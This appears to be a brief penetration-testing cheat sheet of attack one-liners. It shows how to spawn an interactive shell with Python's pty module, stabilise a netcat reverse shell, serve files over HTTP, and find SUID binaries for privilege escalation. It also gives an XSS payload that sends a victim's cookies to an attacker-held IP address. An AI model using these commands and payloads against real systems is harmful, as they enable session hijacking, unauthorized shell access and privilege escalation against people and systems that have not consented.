This page is simply for reference only, as such, content may change frequently.
Interactive Shell
python -c 'import pty;pty.spawn("/bin/sh")'
Tab auto completion on a reverse shell
Ctrl+z
to background the netcat session then stty raw -echo
fg
then enter
to return the session to the foreground.
Simple Python HTTP Server
python -m SimpleHTTPServer
(Default port 8000)
Stealing Cookies with XSS
Create simple Python HTTP Server - see above.
In target vulnerable to XSS : < script>new Image().src="http://192.168.74.165:8000/"+document.cookie;< /script>
Search for SUID bit
find / -perm -4000 -exec ls -al -print 2>/dev/null {} \;